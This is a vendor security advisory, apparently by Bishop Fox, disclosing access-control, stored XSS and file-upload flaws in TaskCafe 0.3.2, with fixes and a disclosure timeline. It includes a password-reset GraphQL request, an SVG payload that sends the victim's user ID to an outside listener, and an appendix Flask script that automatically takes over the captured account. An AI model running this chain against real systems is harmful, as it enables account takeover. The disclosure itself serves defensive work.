TaskCafe, Version 0.3.2 Advisory
The following document describes identified vulnerabilities in the TaskCafe application, version 0.3.2.
Product Vendor
JordanKnott/TaskCafe
Product Description
TaskCafe is an open-source project management tool that uses Kanban boards. The project’s official website is https://github.com/JordanKnott/TaskCafe. The latest version of the application is 0.3.2 and was released on April 28, 2021.
Vulnerabilities List
Three vulnerabilities were identified within the TaskCafe application:
- Improper Access Controls
- Stored Cross-site Scripting (XSS)
- Insecure File Upload
These vulnerabilities are described in the following sections.
Affected Version
All versions prior to and including 0.3.2
Summary of Findings
The improper access control vulnerability allows a remote, unauthenticated attacker to reset any user’s password in the TaskCafe application by leveraging the associated user ID. The user ID can be obtained by exploiting the stored XSS vulnerability, which allows users to upload arbitrary files (including HTML files and malicious SVG files) to the server that would then be web-accessible via the profile photo upload feature. Additionally, any user can overwrite any other user’s profile image.
Impact
The XSS vulnerability, in conjunction with the improper access controls issue, could allow an attacker to take over administrator accounts by uploading a malicious HTML or SVG file containing JavaScript. If an administrator then visited the URL for the uploaded file, such as by clicking on a link in a phishing email, the JavaScript code would execute. Bishop Fox successfully changed the password for an administrator’s account to an attacker-controlled value using this technique. The insecure file upload vulnerability would allow an attacker to replace any existing profile image with file content of the attacker’s choice.
Solution
- Implement an allowlist model for profile photo uploads, and include only JPEG, GIF, and PNG types on the list.
- Perform authentication and authorization checks on the server before allowing the client to access sensitive resources or alter data.
- Generate a unique name or identifier for every uploaded file.
Vulnerabilities
Improper Access Controls
Improper access control in TaskCafe 0.3.2 allows a remote, unauthenticated attacker to change a user's password by knowing the associated user ID. The user ID could be obtained, for example, by exploiting the XSS issue documented in this disclosure and uploading a malicious SVG as a profile picture.
Vulnerability Details
CVE ID: CVE-2023-26770
Vulnerability Type: Improper Access Control
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)
Security Risk: ☐ Critical, ☒ High, ☐ Medium, ☐ Low
Vulnerability: CWE-284
TaskCafe’s change password functionality does not perform sufficient authorization checks when a password change request is received. If an attacker obtains the user ID of any user account, they can change that user’s password and use the new password to access the user account.
Bishop Fox demonstrated this vulnerability by sending a modified version of an existing password reset GraphQL request in which the userID parameter had been changed to the user ID of another account, as shown below:
POST /graphql HTTP/1.1 Host: localhost:3333 Content-Length: 301 content-type: application/json Cookie: authToken=DUMMY Connection: close { "operationName": "updateUserPassword", "variables": { "userID": "f426e964-99b7-4ab2-a88d-3b1298062462", "password": "exploit" }, "query": "mutation updateUserPassword($userID: UUID!, $password: String!) {\n updateUserPassword(input: {userID: $userID, password: $password}) {\n ok\n __typename\n }\n}\n" }
FIGURE 1 - Change password request
The TaskCafe API requires that an authToken cookie be present in password change requests, but does not validate the value of the cookie. Additionally, the API does not validate if the user submitting the request is authorized to change the password for the account associated with the userID value in the request body. As a result, an attacker who obtains the userID value for any other account can obtain access to that account by changing its password to a new value.
The userID value is a random GUID, but an attacker could obtain the value by other means, such as the XSS vulnerability discussed below.
Cross-site scripting (xss)
The TaskCafe 0.3.2 application is affected by a stored XSS vulnerability. TaskCafe’s profile image upload feature does not restrict the type of file that can be uploaded. An authenticated attacker can exploit this vulnerability by uploading a malicious HTML file or SVG image with embedded JavaScript code, and then by attempting to cause other users of the TaskCafe instance to open the URL of the malicious file. For example, the attacker could create a phishing campaign that attempted to convince TaskCafe users at a particular organization to click on a link to the profile picture.
Vulnerability Details
CVE ID: CVE-2023-26771
Vulnerability Type: Cross Site Scripting (XSS)
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)
Security Risk: ☐ Critical, ☐ High, ☒ Medium, ☐ Low
Vulnerability: CWE-79
TaskCafe allows users to upload any type of file using the profile image upload feature, including HTML files or SVG files that contain JavaScript code. An attacker could exploit this vulnerability to capture a target user’s authentication details and perform actions in the context of that user.
While authenticated as a user with the member role, Bishop Fox sent the following HTTP POST request containing a JavaScript payload:
POST /users/me/avatar HTTP/1.1 …omitted for brevity… -----------------------------190781985132541473961961185623 Content-Disposition: form-data; name="file"; filename="exp1.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script> var xhr = new XMLHttpRequest(); // new HttpRequest instance var theUrl = "/graphql"; xhr.open("POST", theUrl); xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send(JSON.stringify({"query":"query me{\nme{\nuser{\nid\nusername\n}\n}\n}\n"})); xhr.onload = function () { const obj = JSON.parse(xhr.response); username = obj.data.me.user.username; userId = obj.data.me.user.id; var request = new XMLHttpRequest(); var new_url = "https://192.168.1.65:8888/userId?userId="+userId+"%26username%3d"+username; request.open('GET', new_url, true); request.send() }; xhr.send(xhr.response); </script> </svg> -----------------------------190781985132541473961961185623--
FIGURE 2 - Injecting JavaScript payload
The payload above includes JavaScript code that queries the TaskCafe API for the current user’s username and ID, and sends those values to an attacker-controlled server.
The application accepted the request and returned an HTTP response indicating that it had stored the payload, as shown below:
HTTP/1.1 200 OK Content-Length: 50 …omitted for brevity… {status:true,interactionId:123aced} HTTP/1.1 200 OK Content-Length: 75 …omitted for brevity… {"userID":"7103ccae-77ef-4632-adb6-6c8683689cbe","url":"/uploads/exp1.svg"}
FIGURE 3 - HTTP response returning the user ID and exploit path
Bishop Fox created an example listener script that could collect values sent by the malicious JavaScript. (The script is available in Appendix A of this advisory.) As shown below, if a user logs into TaskCafe using the admin account and accesses the uploaded profile picture, the JavaScript executes and the username and user ID are sent to the attacker’s server:
FIGURE 4 - Username and ID received by the listener script
An attacker could leverage this vulnerability to capture the userID value for another account, then change its password via the first vulnerability discussed in this advisory.
Insecure file upload
The profile image upload feature in TaskCafe 0.3.2 allows users to overwrite existing users’ profile images with other content. An authenticated attacker could use this vulnerability to deface existing profile images, or replace them with malicious content as described in the XSS section of this advisory.
Vulnerability Details
Vulnerability Type: Insecure File Upload
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☒ Denial of service, ☐ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)
Security Risk: ☐ Critical, ☐ High, ☒ Medium, ☐ Low
Vulnerability: CWE-434
When uploading a profile image to TaskCafe, the file is always stored using a path that matches the filename in the request. For example, as shown in the request/response pair below, if a user uploads a file named profile.png, it is always stored as uploads/profile.png on the TaskCafe server:
Request
POST /users/me/avatar HTTP/1.1 …omitted for brevity… Content-Disposition: form-data; name="file"; filename="profile.png" Content-Type: image/png …omitted for brevity…
Response
HTTP/1.1 200 OK Date: Thu, 25 May 2023 23:07:09 GMT …omitted for brevity… {"userID":"3f1426ee-2c0b-46ec-bc7c-af1777602f9e","url":"/uploads/profile.png"}
If a file with the same name already exists, TaskCafe overwrites it with the new file, even if the existing file is associated with a different user’s profile. An attacker could exploit this vulnerability by overwriting other users’ profile images with images of their choice to antagonize the other users, or potentially replace any existing profile images in SVG format with malicious files, as discussed in the XSS finding included in this advisory.
Appendix - SERVER.PY
from flask import Flask, request import requests, argparse, urllib3 from logzero import logger import logging urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) parser = argparse.ArgumentParser() parser.add_argument("-d", "--debug", action="store_true", dest="debug_status", default=False) parser.add_argument("-p", "--port", action="store", dest="port", default=8888) parser.add_argument("-u", "--url", action="store", dest="TaskCafe_url", default="http://127.0.0.1:3333") parser.add_argument("-x", "--proxy", action="store_true", dest="proxy", default=False) args = parser.parse_args() def start_app(): app = Flask(__name__) def change_password(username, userId, authToken): if args.proxy: proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } else: proxies={} cookies = { "authToken": "%s"%(authToken), } headers = { 'Content-Type': 'application/json', } payload = { "operationName": "updateUserPassword", "variables": { "userID": "%s"%(userId), "password": "exploit" }, "query": "mutation updateUserPassword($userID: UUID!, $password: String!) {\n updateUserPassword(input: {userID: $userID, password: $password}) {\n ok\n __typename\n }\n}\n" } r = requests.post(url="%s/graphql"%(args.TaskCafe_url), json=payload, cookies=cookies, headers=headers, proxies=proxies, verify=False) if r.status_code == 200: logger.info("Password for user %s set to \"exploit\""%(username)) else: log.error("Something went wrong changing the password for user %s"%(username)) return "DONE" @app.route("/userId") def userId(): url_data = request.args.get('userId').split('&username=') userId = url_data[0] username = url_data[1] logger.warning("Username %s with ID %s"%(url_data[1], url_data[0])) return change_password(username, userId, None) return app if __name__ == '__main__': app = start_app() logger.info("Starting app on port %d with Debug %s"%(args.port, args.debug_status)) app.run(host="0.0.0.0", ssl_context=('cert.pem', 'key.pem'), port=args.port, debug=args.debug_status)
Credits
- Joan Bono, Senior Security Consultant I, Bishop Fox ([email protected])
- Luis Adrián De la Rosa Hernández, Security Consultant II, Bishop Fox ([email protected])
Timeline
- 10/19/2022: Initial discovery
- 11/07/2022: Contact with vendor
- 12/07/2022: 30-day reminder
- 01/09/2023: 60-day reminder
- 02/08/2023: 90-day reminder
- 02/08/2023: Details submitted to Mitre
- 03/28/2023: CVE-2023-26770 assigned to Improper Access Controls
- 04/03/2023: CVE-2023-26771 assigned to Cross-site Scripting
- 06/20/2023: Vulnerabilities publicly disclosed
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.